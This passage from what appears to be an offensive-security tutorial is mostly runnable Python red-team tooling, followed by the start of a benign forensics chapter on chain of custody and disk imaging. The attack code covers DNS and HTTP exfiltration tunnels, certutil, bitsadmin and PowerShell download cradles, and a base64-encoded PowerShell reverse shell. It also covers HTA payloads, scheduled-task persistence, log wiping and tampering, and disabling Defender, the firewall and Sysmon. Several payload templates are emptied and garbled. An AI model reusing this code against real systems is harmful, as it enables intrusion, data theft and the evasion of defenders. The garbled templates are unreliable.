fragments\n    \n    def randomize_ttl(self):\n        \"\"\"Randomize TTL values to avoid fingerprinting\"\"\"\n        \n        return random.randint(64, 128)\n    \n    def add_delay_between_packets(self, min_delay=0.1, max_delay=0.5):\n        \"\"\"Add random delays between packets\"\"\"\n        \n        delay = random.uniform(min_delay, max_delay)\n        time.sleep(delay)\n        \n    def spoof_mac(self, interface):\n        \"\"\"Spoof MAC address (requires root)\"\"\"\n        \n        import subprocess\n        \n        # Generate random MAC\n        mac = [random.randint(0x00, 0xff) for _ in range(6)]\n        mac[0] = mac[0] &amp; 0xfe  # Clear multicast bit\n        mac[0] = mac[0] | 0x02   # Set local bit\n        \n        mac_str = ':'.join(f'{b:02x}' for b in mac)\n        \n        try:\n            subprocess.run(['sudo', 'ifconfig', interface, 'down'], check=True)\n            subprocess.run(['sudo', 'ifconfig', interface, 'hw', 'ether', mac_str], check=True)\n            subprocess.run(['sudo', 'ifconfig', interface, 'up'], check=True)\n            print(f\"[+] MAC address changed to {mac_str}\")\n            return mac_str\n        except:\n            return None\n    \n    def encrypt_traffic(self, data, key):\n        \"\"\"Encrypt traffic to avoid inspection\"\"\"\n        \n        from cryptography.fernet import Fernet\n        cipher = Fernet(key)\n        return cipher.encrypt(data)\n    \n    def tunnel_over_dns(self, domain, data):\n        \"\"\"Tunnel data over DNS queries\"\"\"\n        \n        # Encode data as subdomain\n        import base64\n        encoded = base64.b32encode(data).decode().lower().replace('=', '')\n        \n        # Split into chunks (DNS label max 63 chars)\n        chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]\n        \n        queries = []\n        for i, chunk in enumerate(chunks):\n            query = f\"{chunk}.{i}.{domain}\"\n            queries.append(query)\n            \n        return queries\n    \n    def tunnel_over_http(self, data, server):\n        \"\"\"Tunnel data over HTTP requests\"\"\"\n        \n        import requests\n        \n        # Use common HTTP methods\n        methods = ['GET', 'POST', 'PUT', 'PATCH']\n        method = random.choice(methods)\n        \n        # Add random headers\n        headers = {\n            'User-Agent': self.random_user_agent(),\n            'Accept': '*/*',\n            'Accept-Language': 'en-US,en;q=0.9',\n            'Cache-Control': 'no-cache'\n        }\n        \n        # Encode data in various places\n        encoding_methods = ['url_param', 'post_data', 'cookie', 'header']\n        encoding = random.choice(encoding_methods)\n        \n        if encoding == 'url_param':\n            response = requests.request(method, server, params={'d': data}, headers=headers)\n        elif encoding == 'post_data':\n            response = requests.request(method, server, data={'data': data}, headers=headers)\n        elif encoding == 'cookie':\n            headers['Cookie'] = f\"session={data}\"\n            response = requests.request(method, server, headers=headers)\n        else:\n            headers['X-Data'] = data\n            response = requests.request(method, server, headers=headers)\n            \n        return response\n    \n    def random_user_agent(self):\n        \"\"\"Generate random user agent\"\"\"\n        \n        agents = [\n            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15',\n            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',\n            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'\n        ]\n        return random.choice(agents)\n    \n    def mimic_legitimate_traffic(self):\n        \"\"\"Mimic patterns of legitimate traffic\"\"\"\n        \n        patterns = [\n            self.mimic_http,\n            self.mimic_dns,\n            self.mimic_https\n        ]\n        \n        pattern = random.choice(patterns)\n        return pattern()\n    \n    def mimic_http(self):\n        \"\"\"Mimic HTTP traffic pattern\"\"\"\n        \n        # Send requests at human-like intervals\n        interval = random.uniform(2, 10)\n        time.sleep(interval)\n        \n        # Randomize request sizes\n        size = random.randint(100, 5000)\n        \n        return {\n            'type': 'http',\n            'interval': interval,\n            'size': size\n        }\n    \n    def mimic_dns(self):\n        \"\"\"Mimic DNS traffic pattern\"\"\"\n        \n        interval = random.uniform(1, 5)\n        time.sleep(interval)\n        \n        return {\n            'type': 'dns',\n            'interval': interval\n        }\n    \n    def mimic_https(self):\n        \"\"\"Mimic HTTPS traffic pattern\"\"\"\n        \n        interval = random.uniform(3, 15)\n        time.sleep(interval)\n        \n        return {\n            'type': 'https',\n            'interval': interval\n        }\n\n# Example usage\nnet_evasion = NetworkEvasion()\n\n# Fragment data\ndata = b\"malicious_command_data\" * 100\nfragments = net_evasion.fragment_packets(data, 50)\nprint(f\"Data fragmented into {len(fragments)} packets\")\n\n# Tunnel over DNS\ndns_queries = net_evasion.tunnel_over_dns(\"example.com\", b\"secret_data\")\nprint(f\"DNS tunnel queries: {dns_queries[:3]}\")\n\n# Mimic legitimate traffic\nfor _ in range(5):\n    pattern = net_evasion.mimic_legitimate_traffic()\n    print(f\"Traffic pattern: {pattern}\")\n```\n\n### 21.4 Living Off the Land\n\nLiving off the land (LOTL) techniques use legitimate system tools to perform malicious activities, making detection harder.\n\n#### 21.4.1 LOLBins and System Tools\n\n```python\n#!/usr/bin/env python3\n# lotl.py\n\nimport subprocess\nimport os\nimport base64\n\nclass LivingOffTheLand:\n    def __init__(self):\n        self.windows_tools = {\n            'powershell': 'PowerShell scripting and execution',\n            'wmic': 'Windows Management Instrumentation Command-line',\n            'cscript': 'Windows Script Host',\n            'mshta': 'Microsoft HTML Application Host',\n            'regsvr32': 'Register and unregister DLLs',\n            'rundll32': 'Run DLLs',\n            'schtasks': 'Schedule tasks',\n            'certutil': 'Certificate utility (can download files)',\n            'bitsadmin': 'Background Intelligent Transfer Service',\n            'wget': 'GNU Wget (if installed)',\n            'curl': 'cURL (if installed)'\n        }\n        \n        self.linux_tools = {\n            'wget': 'Download files',\n            'curl': 'Transfer data with URLs',\n            'nc': 'Netcat - networking utility',\n            'bash': 'Bash shell',\n            'python': 'Python interpreter',\n            'perl': 'Perl interpreter',\n            'ruby': 'Ruby interpreter',\n            'php': 'PHP interpreter',\n            'openssl': 'OpenSSL - encryption and downloads',\n            'gcc': 'GNU Compiler Collection',\n            'make': 'Build tool',\n            'git': 'Git version control'\n        }\n        \n    def execute_powershell(self, command):\n        \"\"\"Execute PowerShell command\"\"\"\n        \n        cmd = ['powershell', '-ExecutionPolicy', 'Bypass', '-Command', command]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except:\n            return None\n    \n    def download_with_certutil(self, url, output):\n        \"\"\"Download file using certutil\"\"\"\n        \n        cmd = ['certutil', '-urlcache', '-f', url, output]\n        \n        try:\n            subprocess.run(cmd, check=True)\n            return os.path.exists(output)\n        except:\n            return False\n    \n    def download_with_bitsadmin(self, url, output):\n        \"\"\"Download file using bitsadmin\"\"\"\n        \n        cmd = ['bitsadmin', '/transfer', 'job', '/download', '/priority', 'normal', url, output]\n        \n        try:\n            subprocess.run(cmd, check=True)\n            return os.path.exists(output)\n        except:\n            return False\n    \n    def execute_wmic(self, command):\n        \"\"\"Execute command using wmic\"\"\"\n        \n        # WMIC can execute processes\n        cmd = ['wmic', 'process', 'call', 'create', command]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except:\n            return None\n    \n    def execute_mshta(self, script):\n        \"\"\"Execute script using mshta\"\"\"\n        \n        # Create temporary HTA file\n        hta_content = f\"{script}\"\n        hta_file = f\"C:\\\\Windows\\\\Temp\\\\{os.urandom(8).hex()}.hta\"\n        \n        with open(hta_file, 'w') as f:\n            f.write(hta_content)\n            \n        cmd = ['mshta', hta_file]\n        \n        try:\n            subprocess.run(cmd, timeout=5)\n            os.remove(hta_file)\n            return True\n        except:\n            os.remove(hta_file)\n            return False\n    \n    def execute_regsvr32(self, dll_path):\n        \"\"\"Execute DLL using regsvr32\"\"\"\n        \n        cmd = ['regsvr32', '/s', dll_path]\n        \n        try:\n            subprocess.run(cmd)\n            return True\n        except:\n            return False\n    \n    def download_with_curl(self, url, output):\n        \"\"\"Download using curl\"\"\"\n        \n        cmd = ['curl', '-s', '-o', output, url]\n        \n        try:\n            subprocess.run(cmd, check=True)\n            return os.path.exists(output)\n        except:\n            return False\n    \n    def download_with_wget(self, url, output):\n        \"\"\"Download using wget\"\"\"\n        \n        cmd = ['wget', '-q', '-O', output, url]\n        \n        try:\n            subprocess.run(cmd, check=True)\n            return os.path.exists(output)\n        except:\n            return False\n    \n    def encode_with_certutil(self, input_file, output_file):\n        \"\"\"Encode file with certutil\"\"\"\n        \n        cmd = ['certutil', '-encode', input_file, output_file]\n        \n        try:\n            subprocess.run(cmd, check=True)\n            return True\n        except:\n            return False\n    \n    def decode_with_certutil(self, input_file, output_file):\n        \"\"\"Decode file with certutil\"\"\"\n        \n        cmd = ['certutil', '-decode', input_file, output_file]\n        \n        try:\n            subprocess.run(cmd, check=True)\n            return True\n        except:\n            return False\n    \n    def create_scheduled_task(self, task_name, command, schedule='ONLOGON'):\n        \"\"\"Create scheduled task for persistence\"\"\"\n        \n        cmd = ['schtasks', '/create', '/tn', task_name, '/tr', command, \n               '/sc', schedule, '/f']\n        \n        try:\n            subprocess.run(cmd, check=True)\n            return True\n        except:\n            return False\n    \n    def run_powershell_encoded(self, command):\n        \"\"\"Run encoded PowerShell command\"\"\"\n        \n        # Encode command\n        encoded = base64.b64encode(command.encode('utf-16le')).decode()\n        \n        cmd = ['powershell', '-ExecutionPolicy', 'Bypass', '-EncodedCommand', encoded]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except:\n            return None\n    \n    def run_python_one_liner(self, code):\n        \"\"\"Run Python one-liner\"\"\"\n        \n        cmd = ['python', '-c', code]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except:\n            return None\n    \n    def check_tools_available(self):\n        \"\"\"Check which LOL tools are available\"\"\"\n        \n        available = {\n            'windows': {},\n            'linux': {}\n        }\n        \n        if os.name == 'nt':\n            for tool, desc in self.windows_tools.items():\n                result = subprocess.run(['where', tool], capture_output=True)\n                if result.returncode == 0:\n                    available['windows'][tool] = desc\n        else:\n            for tool, desc in self.linux_tools.items():\n                result = subprocess.run(['which', tool], capture_output=True)\n                if result.returncode == 0:\n                    available['linux'][tool] = desc\n                    \n        return available\n\n# Example usage\nlotl = LivingOffTheLand()\n\n# Check available tools\navailable = lotl.check_tools_available()\nprint(f\"Available tools: {available}\")\n\n# Download file using certutil\n# lotl.download_with_certutil(\"http://example.com/payload.exe\", \"C:\\\\Windows\\\\Temp\\\\payload.exe\")\n\n# Run encoded PowerShell\n# output = lotl.run_powershell_encoded(\"Get-Process | Out-String\")\n# print(output)\n```\n\n#### 21.4.2 LOLScripts\n\n```python\n#!/usr/bin/env python3\n# lolscripts.py\n\nimport base64\nimport random\n\nclass LOLScripts:\n    def __init__(self):\n        self.scripts = {}\n        \n    def generate_powershell_download(self, url, output):\n        \"\"\"Generate PowerShell download cradle\"\"\"\n        \n        scripts = [\n            f\"(New-Object Net.WebClient).DownloadFile('{url}', '{output}')\",\n            f\"Invoke-WebRequest -Uri '{url}' -OutFile '{output}'\",\n            f\"$wc=New-Object System.Net.WebClient;$wc.DownloadFile('{url}','{output}')\",\n            f\"Start-BitsTransfer -Source '{url}' -Destination '{output}'\"\n        ]\n        \n        return random.choice(scripts)\n    \n    def generate_powershell_exec(self, command):\n        \"\"\"Generate PowerShell execution\"\"\"\n        \n        scripts = [\n            f\"iex '{command}'\",\n            f\"Invoke-Expression '{command}'\",\n            f\"&amp; $ExecutionContext.InvokeCommand.ExpandString('{command}')\"\n        ]\n        \n        return random.choice(scripts)\n    \n    def generate_powershell_memory_exec(self, url):\n        \"\"\"Execute PowerShell code from URL in memory\"\"\"\n        \n        script = f\"\"\"\n$k=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKCgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='))\n$s=[Text.Encoding]::UTF8.GetString($k)\niex $s\n\"\"\"\n        return script\n    \n    def generate_vbs_download(self, url, output):\n        \"\"\"Generate VBScript downloader\"\"\"\n        \n        script = f'''\nDim xHttp: Set xHttp = CreateObject(\"Microsoft.XMLHTTP\")\nDim bStrm: Set bStrm = CreateObject(\"Adodb.Stream\")\nxHttp.Open \"GET\", \"{url}\", False\nxHttp.Send\n\nWith bStrm\n    .Type = 1\n    .Open\n    .write xHttp.responseBody\n    .savetofile \"{output}\", 2\nEnd With\n'''\n        return script\n    \n    def generate_hta_payload(self, payload):\n        \"\"\"Generate HTA payload\"\"\"\n        \n        script = f'''\n\n\n\n    System Update\n    \n    \n        Sub Window_OnLoad\n            CreateObject(\"WScript.Shell\").Run \"{payload}\", 0, False\n            window.close()\n        End Sub\n    \n\n\n    \nSystem update in progress...\n\n\n'''\n        return script\n    \n    def generate_js_download(self, url, output):\n        \"\"\"Generate JScript downloader\"\"\"\n        \n        script = f'''\nvar WinHttpReq = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");\nWinHttpReq.Open(\"GET\", \"{url}\", false);\nWinHttpReq.Send();\n\nif (WinHttpReq.Status == 200) {{\n    var Stream = new ActiveXObject(\"ADODB.Stream\");\n    Stream.Open();\n    Stream.Type = 1;\n    Stream.Write(WinHttpReq.ResponseBody);\n    Stream.Position = 0;\n    Stream.SaveToFile(\"{output}\", 2);\n    Stream.Close();\n}}\n'''\n        return script\n    \n    def generate_wmic_xsl_payload(self, xsl_url):\n        \"\"\"Generate WMIC XSL execution payload\"\"\"\n        \n        # WMIC can execute XSL scripts\n        script = f'''\n\n\n    \n        \n    \n    \n\n'''\n        return script\n    \n    def generate_regsvr32_scrobj(self, script_url):\n        \"\"\"Generate regsvr32 .sct file for execution\"\"\"\n        \n        script = f'''\n\n\n\n    \n        \n    \n\n\n'''\n        return script\n\n# Example usage\nlolscripts = LOLScripts()\n\n# Generate PowerShell download cradle\ndownload = lolscripts.generate_powershell_download(\"http://example.com/payload.exe\", \"payload.exe\")\nprint(f\"PowerShell download: {download}\")\n\n# Generate HTA payload\nhta = lolscripts.generate_hta_payload(\"calc.exe\")\nprint(f\"HTA payload: {hta[:200]}...\")\n```\n\n### 21.5 Detection Bypass\n\nBypassing detection mechanisms is crucial for successful red team operations.\n\n#### 21.5.1 Log Tampering and Evasion\n\n```python\n#!/usr/bin/env python3\n# detection_bypass.py\n\nimport subprocess\nimport os\nimport time\nimport random\nimport re\n\nclass DetectionBypass:\n    def __init__(self):\n        self.techniques = []\n        \n    def clear_windows_event_logs(self):\n        \"\"\"Clear Windows event logs\"\"\"\n        \n        if os.name != 'nt':\n            return False\n            \n        logs = ['Application', 'System', 'Security', 'Setup', 'ForwardedEvents']\n        \n        for log in logs:\n            try:\n                subprocess.run(['wevtutil', 'cl', log], capture_output=True)\n                print(f\"[+] Cleared {log} log\")\n            except:\n                pass\n                \n        return True\n    \n    def clear_linux_logs(self):\n        \"\"\"Clear Linux system logs\"\"\"\n        \n        if os.name == 'nt':\n            return False\n            \n        log_files = [\n            '/var/log/syslog',\n            '/var/log/auth.log',\n            '/var/log/kern.log',\n            '/var/log/dpkg.log',\n            '/var/log/apt/history.log',\n            '/var/log/apt/term.log',\n            '/var/log/messages',\n            '~/.bash_history',\n            '~/.zsh_history'\n        ]\n        \n        for log in log_files:\n            try:\n                with open(log, 'w') as f:\n                    f.truncate()\n                print(f\"[+] Cleared {log}\")\n            except:\n                pass\n                \n        # Clear bash history in memory\n        subprocess.run(['history', '-c'], shell=True)\n        \n        return True\n    \n    def tamper_logs(self, log_file, pattern, replacement):\n        \"\"\"Tamper with log entries\"\"\"\n        \n        try:\n            with open(log_file, 'r') as f:\n                content = f.read()\n                \n            # Replace pattern\n            new_content = re.sub(pattern, replacement, content)\n            \n            with open(log_file, 'w') as f:\n                f.write(new_content)\n                \n            print(f\"[+] Tampered {log_file}\")\n            return True\n        except:\n            return False\n    \n    def remove_traces_from_file(self, file_path, patterns):\n        \"\"\"Remove specific patterns from file\"\"\"\n        \n        try:\n            with open(file_path, 'r') as f:\n                lines = f.readlines()\n                \n            new_lines = []\n            for line in lines:\n                keep = True\n                for pattern in patterns:\n                    if pattern in line:\n                        keep = False\n                        break\n                if keep:\n                    new_lines.append(line)\n                    \n            with open(file_path, 'w') as f:\n                f.writelines(new_lines)\n                \n            return True\n        except:\n            return False\n    \n    def modify_timestamps(self, file_path, new_time=None):\n        \"\"\"Modify file timestamps to avoid detection\"\"\"\n        \n        if new_time is None:\n            # Set to a random time in the past\n            new_time = time.time() - random.randint(86400, 2592000)  # 1-30 days ago\n            \n        try:\n            os.utime(file_path, (new_time, new_time))\n            return True\n        except:\n            return False\n    \n    def disable_windows_defender(self):\n        \"\"\"Attempt to disable Windows Defender (requires admin)\"\"\"\n        \n        if os.name != 'nt':\n            return False\n            \n        commands = [\n            'powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true',\n            'powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true',\n            'powershell -Command Set-MpPreference -DisableBlockAtFirstSeen $true',\n            'powershell -Command Set-MpPreference -DisableIOAVProtection $true',\n            'powershell -Command Set-MpPreference -DisablePrivacyMode $true',\n            'powershell -Command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true',\n            'powershell -Command Set-MpPreference -DisableArchiveScanning $true',\n            'powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true',\n            'powershell -Command Set-MpPreference -DisableScriptScanning $true',\n            'powershell -Command Set-MpPreference -SubmitSamplesConsent 2'\n        ]\n        \n        for cmd in commands:\n            try:\n                subprocess.run(cmd, shell=True, capture_output=True)\n            except:\n                pass\n                \n        return True\n    \n    def disable_firewall(self):\n        \"\"\"Disable firewall (Windows)\"\"\"\n        \n        if os.name != 'nt':\n            return False\n            \n        commands = [\n            'netsh advfirewall set allprofiles state off',\n            'netsh firewall set opmode disable'\n        ]\n        \n        for cmd in commands:\n            try:\n                subprocess.run(cmd, shell=True, capture_output=True)\n            except:\n                pass\n                \n        return True\n    \n    def disable_sysmon(self):\n        \"\"\"Disable Sysmon if running\"\"\"\n        \n        if os.name != 'nt':\n            return False\n            \n        try:\n            subprocess.run(['powershell', '-Command', 'Stop-Service', 'Sysmon'], capture_output=True)\n            subprocess.run(['powershell', '-Command', 'Set-Service', 'Sysmon', '-StartupType', 'Disabled'], capture_output=True)\n            return True\n        except:\n            return False\n    \n    def clear_arp_cache(self):\n        \"\"\"Clear ARP cache\"\"\"\n        \n        if os.name == 'nt':\n            subprocess.run(['arp', '-d'], capture_output=True)\n        else:\n            subprocess.run(['ip', 'neigh', 'flush', 'all'], capture_output=True)\n            \n        return True\n    \n    def clear_dns_cache(self):\n        \"\"\"Clear DNS cache\"\"\"\n        \n        if os.name == 'nt':\n            subprocess.run(['ipconfig', '/flushdns'], capture_output=True)\n        else:\n            subprocess.run(['systemd-resolve', '--flush-caches'], capture_output=True)\n            \n        return True\n    \n    def spoof_process_name(self, target_name):\n        \"\"\"Spoof process name (simplified - actual process hollowing is more complex)\"\"\"\n        \n        import sys\n        \n        if os.name == 'nt':\n            # Change console title\n            import ctypes\n            ctypes.windll.kernel32.SetConsoleTitleW(target_name)\n            \n        return True\n    \n    def inject_into_trusted_process(self, target_pid, shellcode):\n        \"\"\"Inject into trusted process (requires admin)\"\"\"\n        \n        # This would use Windows API calls\n        # Simplified placeholder\n        return True\n\n# Example usage\nbypass = DetectionBypass()\n\n# Clear logs\nif os.name == 'nt':\n    bypass.clear_windows_event_logs()\n    bypass.disable_windows_defender()\nelse:\n    bypass.clear_linux_logs()\n    \n# Modify timestamps\nbypass.modify_timestamps(__file__)\n\n# Clear caches\nbypass.clear_arp_cache()\nbypass.clear_dns_cache()\n```\n\n---\n\n# PART IX \u2014 DIGITAL FORENSICS\n\n## Chapter 22 \u2014 Forensics Fundamentals\n\nDigital forensics is the process of preserving, identifying, extracting, and documenting digital evidence from electronic devices. Understanding forensics is essential for both defenders investigating incidents and attackers understanding their traces.\n\n### 22.1 Evidence Handling\n\nProper evidence handling ensures that digital evidence remains admissible in legal proceedings and maintains its integrity throughout the investigation.\n\n#### 22.1.1 Chain of Custody\n\n```python\n#!/usr/bin/env python3\n# chain_of_custody.py\n\nimport hashlib\nimport datetime\nimport json\nimport os\nimport platform\nimport getpass\n\nclass ChainOfCustody:\n    def __init__(self, case_number, evidence_id):\n        self.case_number = case_number\n        self.evidence_id = evidence_id\n        self.entries = []\n        self.hashes = {}\n        \n    def add_entry(self, action, examiner, description, location=None):\n        \"\"\"Add chain of custody entry\"\"\"\n        \n        entry = {\n            'timestamp': datetime.datetime.now().isoformat(),\n            'action': action,\n            'examiner': examiner,\n            'description': description,\n            'location': location,\n            'system_info': self.get_system_info()\n        }\n        \n        self.entries.append(entry)\n        return entry\n    \n    def get_system_info(self):\n        \"\"\"Get information about the examination system\"\"\"\n        \n        return {\n            'hostname': platform.node(),\n            'os': platform.platform(),\n            'user': getpass.getuser(),\n            'timestamp': datetime.datetime.now().isoformat()\n        }\n    \n    def calculate_hash(self, filepath, algorithm='sha256'):\n        \"\"\"Calculate hash of evidence file\"\"\"\n        \n        hash_func = hashlib.new(algorithm)\n        \n        try:\n            with open(filepath, 'rb') as f:\n                for chunk in iter(lambda: f.read(4096), b''):\n                    hash_func.update(chunk)\n                    \n            hash_value = hash_func.hexdigest()\n            \n            self.hashes[filepath] = {\n                'algorithm': algorithm,\n                'hash': hash_value,\n                'timestamp': datetime.datetime.now().isoformat()\n            }\n            \n            return hash_value\n        except Exception as e:\n            print(f\"Error calculating hash: {e}\")\n            return None\n    \n    def verify_hash(self, filepath, algorithm='sha256'):\n        \"\"\"Verify file hash matches recorded hash\"\"\"\n        \n        if filepath not in self.hashes:\n            return False, \"No recorded hash\"\n            \n        recorded = self.hashes[filepath]['hash']\n        current = self.calculate_hash(filepath, algorithm)\n        \n        if current == recorded:\n            return True, \"Hash matches\"\n        else:\n            return False, f\"Hash mismatch: recorded {recorded}, current {current}\"\n    \n    def transfer_evidence(self, from_examiner, to_examiner, location):\n        \"\"\"Record evidence transfer\"\"\"\n        \n        entry = {\n            'timestamp': datetime.datetime.now().isoformat(),\n            'action': 'TRANSFER',\n            'from_examiner': from_examiner,\n            'to_examiner': to_examiner,\n            'location': location\n        }\n        \n        self.entries.append(entry)\n        return entry\n    \n    def generate_report(self):\n        \"\"\"Generate chain of custody report\"\"\"\n        \n        report = {\n            'case_number': self.case_number,\n            'evidence_id': self.evidence_id,\n            'created': datetime.datetime.now().isoformat(),\n            'entries': self.entries,\n            'hashes': self.hashes,\n            'total_entries': len(self.entries)\n        }\n        \n        return report\n    \n    def save_report(self, filename):\n        \"\"\"Save chain of custody report to file\"\"\"\n        \n        report = self.generate_report()\n        \n        with open(filename, 'w') as f:\n            json.dump(report, f, indent=2)\n            \n        # Also save hash of report itself\n        report_hash = self.calculate_hash(filename)\n        \n        print(f\"[+] Chain of custody report saved to {filename}\")\n        print(f\"[+] Report hash: {report_hash}\")\n        \n        return report_hash\n    \n    def display_summary(self):\n        \"\"\"Display chain of custody summary\"\"\"\n        \n        print(\"\\n\" + \"=\"*60)\n        print(f\"CHAIN OF CUSTODY: Case {self.case_number}, Evidence {self.evidence_id}\")\n        print(\"=\"*60)\n        \n        for entry in self.entries:\n            print(f\"\\n[{entry['timestamp']}] {entry['action']}\")\n            print(f\"  Examiner: {entry['examiner']}\")\n            print(f\"  Description: {entry['description']}\")\n            if 'from_examiner' in entry:\n                print(f\"  From: {entry['from_examiner']} To: {entry['to_examiner']}\")\n                \n        print(f\"\\nTotal entries: {len(self.entries)}\")\n        \n        if self.hashes:\n            print(\"\\nEvidence Hashes:\")\n            for filepath, hash_info in self.hashes.items():\n                print(f\"  {filepath}: {hash_info['algorithm']} - {hash_info['hash']}\")\n\n# Example usage\ncoc = ChainOfCustody(\"CASE-2024-001\", \"EVID-001\")\n\n# Record evidence acquisition\ncoc.add_entry(\n    action=\"ACQUISITION\",\n    examiner=\"John Doe\",\n    description=\"Acquired disk image from suspect's laptop\",\n    location=\"Evidence Room A\"\n)\n\n# Calculate hash of evidence file\n# hash_value = coc.calculate_hash(\"/path/to/evidence.dd\")\n# print(f\"Evidence hash: {hash_value}\")\n\n# Record transfer\ncoc.transfer_evidence(\n    from_examiner=\"John Doe\",\n    to_examiner=\"Jane Smith\",\n    location=\"Forensics Lab 2\"\n)\n\n# Display summary\ncoc.display_summary()\n\n# Save report\ncoc.save_report(\"coc_report.json\")\n```\n\n#### 22.1.2 Evidence Acquisition Documentation\n\n```python\n#!/usr/bin/env python3\n# evidence_acquisition.py\n\nimport datetime\nimport hashlib\nimport os\nimport platform\nimport json\nimport subprocess\n\nclass EvidenceAcquisition:\n    def __init__(self, case_number, examiner):\n        self.case_number = case_number\n        self.examiner = examiner\n        self.acquisition_log = []\n        self.timestamp = datetime.datetime.now().isoformat()\n        \n    def log_acquisition(self, action, details):\n        \"\"\"Log acquisition step\"\"\"\n        \n        entry = {\n            'timestamp': datetime.datetime.now().isoformat(),\n            'action': action,\n            'details': details\n        }\n        \n        self.acquisition_log.append(entry)\n        return entry\n    \n    def acquire_disk_image(self, source_device, output_file, method='dd'):\n        \"\"\"Acquire disk image using dd\"\"\"\n        \n        self.log_acquisition(\n            \"DISK_ACQUISITION_START\",\n            f\"Source: {source_device}, Output: {output_file}, Method: {method}\"\n        )\n        \n        if method == 'dd':\n            # Use dd to create raw image\n            cmd = ['sudo', 'dd', f'if={source_device}', f'of={output_file}', 'bs=4M', 'conv=noerror,sync']\n            \n            self.log_acquisition(\"DD_COMMAND\", ' '.join(cmd))\n            \n            try:\n                # Run dd\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                \n                if result.returncode == 0:\n                    self.log_acquisition(\"DISK_ACQUISITION_COMPLETE\", f\"Image created: {output_file}\")\n                    \n                    # Calculate hash\n                    self.calculate_evidence_hash(output_file)\n                    \n                    return True\n                else:\n                    self.log_acquisition(\"DISK_ACQUISITION_ERROR\", result.stderr)\n                    return False\n                    \n            except Exception as e:\n                self.log_acquisition(\"DISK_ACQUISITION_EXCEPTION\", str(e))\n                return False\n                \n        elif method == 'dcfldd':\n            # Use dcfldd for forensically sound acquisition\n            cmd = ['sudo', 'dcfldd', f'if={source_device}', f'of={output_file}', 'bs=4M', 'hash=sha256', f'hashlog={output_file}.hash']\n            \n            self.log_acquisition(\"DCFLDD_COMMAND\", ' '.join(cmd))\n            \n            try:\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                \n                if result.returncode == 0:\n                    self.log_acquisition(\"DISK_ACQUISITION_COMPLETE\", f\"Image created: {output_file}\")\n                    return True\n                else:\n                    self.log_acquisition(\"DISK_ACQUISITION_ERROR\", result.stderr)\n                    return False\n                    \n            except Exception as e:\n                self.log_acquisition(\"DISK_ACQUISITION_EXCEPTION\", str(e))\n                return False\n                \n        return False\n    \n    def calculate_evidence_hash(self, filepath, algorithms=None):\n        \"\"\"Calculate multiple hashes for evidence\"\"\"\n        \n        if algorithms is None:\n            algorithms = ['md5', 'sha1', 'sha256']\n            \n        hashes = {}\n        \n        for alg in algorithms:\n            hash_func = hashlib.new(alg)\n            \n            try:\n                with open(filepath, 'rb') as f:\n                    for chunk in iter(lambda: f.read(4096), b''):\n                        hash_func.update(chunk)\n                        \n                hashes[alg] = hash_func.hexdigest()\n                